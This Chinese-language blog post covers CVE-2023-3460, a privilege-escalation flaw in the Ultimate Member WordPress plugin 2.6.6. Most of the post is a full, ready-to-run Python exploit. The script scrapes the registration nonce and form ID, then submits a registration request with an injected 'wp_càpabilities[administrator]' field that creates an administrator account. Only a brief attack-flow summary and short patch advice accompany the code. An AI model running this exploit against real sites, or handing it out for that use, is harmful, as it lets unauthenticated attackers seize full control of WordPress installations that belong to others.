Ultimate Member WordPress插件权限提升漏洞分析

本文详细分析了Ultimate Member WordPress插件2.6.6版本中的权限提升漏洞CVE-2023-3460,攻击者可通过恶意构造的wp_capabilities参数在注册过程中获得管理员权限,包含完整的Python利用代码和技术细节。

Ultimate Member WordPress插件2.6.6权限提升漏洞

漏洞信息

  • 发布日期:2025.08.28
  • 提交者:Gurjot Singh
  • 风险等级:中等
  • 攻击类型:本地攻击
  • CVE编号:CVE-2023-3460
  • CWE编号:CWE-264

漏洞描述

该漏洞存在于Ultimate Member WordPress插件的注册功能中,由于对wp_capabilities参数的输入未进行充分过滤,未经身份验证的攻击者可以通过恶意构造的注册请求将权限提升至管理员级别。

技术细节

漏洞利用原理

攻击者通过向注册表单提交包含恶意wp_càpabilities[administrator]参数的数据包,绕过权限检查直接创建具有管理员权限的用户账户。

利用代码分析

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3

# 漏洞利用标题:Ultimate Member WordPress插件2.6.6 - 权限提升
# 漏洞利用作者:Gurjot Singh
# CVE:CVE-2023-3460

import requests
import argparse
import re
import urllib3
from bs4 import BeautifulSoup
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_password_strength(password):
    """检查密码是否符合复杂度要求"""
    if len(password) < 8:
        print("[!] 密码太短!必须至少8个字符")
        print("    示例:Admin@123")
        sys.exit(1)

    # 至少一个大写字母、一个小写字母、一个数字和一个特殊字符
    if not re.search(r'[A-Z]', password):
        print("[!] 密码必须包含至少一个大写字母")
        print("    示例:Admin@123")
        sys.exit(1)
    if not re.search(r'[a-z]', password):
        print("[!] 密码必须包含至少一个小写字母")
        print("    示例:Admin@123")
        sys.exit(1)
    if not re.search(r'\d', password):
        print("[!] 密码必须包含至少一个数字")
        print("    示例:Admin@123")
        sys.exit(1)
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        print("[!] 密码必须包含至少一个特殊字符(!@#$%^&*等)")
        print("    示例:Admin@123")
        sys.exit(1)

def fetch_form_details(session, target_url):
    print("[*] 从注册页面获取表单详情...")
    try:
        res = session.get(target_url, verify=False)
        soup = BeautifulSoup(res.text, "html.parser")

        nonce_input = soup.find("input", {"name": "_wpnonce"})
        nonce = nonce_input["value"] if nonce_input else None
        if nonce:
            print(f"[+] 找到_wpnonce: {nonce}")
        else:
            print("[-] 未能找到_wpnonce")

        field_names = {}
        for inp in soup.find_all("input"):
            if inp.get("name"):
                field_names[inp.get("name")] = ""
        
        return nonce, field_names
    except Exception as e:
        print(f"[!] 获取表单详情时出错: {e}")
        return None, {}

def exploit_register(target_url, username, password):
    session = requests.Session()
    target_url = target_url.rstrip('/')

    nonce, fields = fetch_form_details(session, target_url)
    if not nonce:
        return

    form_id = None
    for name in fields:
        m = re.search(r"user_login-(\d+)", name)
        if m:
            form_id = m.group(1)
            break
    if not form_id:
        form_id = "7"
    print(f"[+] 使用表单ID: {form_id}")

    data = {
        f"user_login-{form_id}": username,
        f"first_name-{form_id}": "Admin",
        f"last_name-{form_id}": username,
        f"user_email-{form_id}": f"{username}@example.com",
        f"user_password-{form_id}": password,
        f"confirm_user_password-{form_id}": password,
        "form_id": form_id,
        "um_request": "",
        "_wpnonce": nonce,
        "_wp_http_referer": "/register/",
        "wp_càpabilities[administrator]": "1"
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Referer": target_url,
        "Origin": target_url.split("/register")[0],
    }
    cookies = {
        "wordpress_test_cookie": "WP Cookie check",
        "wp_lang": "en_US"
    }

    print(f"[*] 为{username}发送恶意注册请求...")
    try:
        response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
        if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
            print(f"[+] 管理员账户'{username}'创建成功!")
            print(f"[+] 使用以下凭据登录: 用户名: {username} | 密码: {password}")
        else:
            print(f"[-] 无法确认成功。请手动检查目标")
    except Exception as e:
        print(f"[!] 漏洞利用过程中出错: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-3460漏洞利用(Ultimate Member管理员账户创建)")
    parser.add_argument("-t", "--target", required=True, help="目标/register/ URL(例如:http://localhost/register/)")
    parser.add_argument("-u", "--user", default="rakesh", help="要创建的用户名")
    parser.add_argument("-p", "--password", default="Admin@123", help="新用户的密码")
    args = parser.parse_args()

    # 运行前检查密码强度
    check_password_strength(args.password)

    exploit_register(args.target, args.user, args.password)

攻击流程

  1. 信息收集:获取注册页面的表单详情和nonce值
  2. 表单构造:构建包含恶意wp_càpabilities[administrator]参数的注册请求
  3. 权限提升:通过发送特制请求创建具有管理员权限的用户账户

防护建议

  • 及时更新Ultimate Member插件到最新版本
  • 对用户输入进行严格过滤和验证
  • 实施适当的权限检查和访问控制机制
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计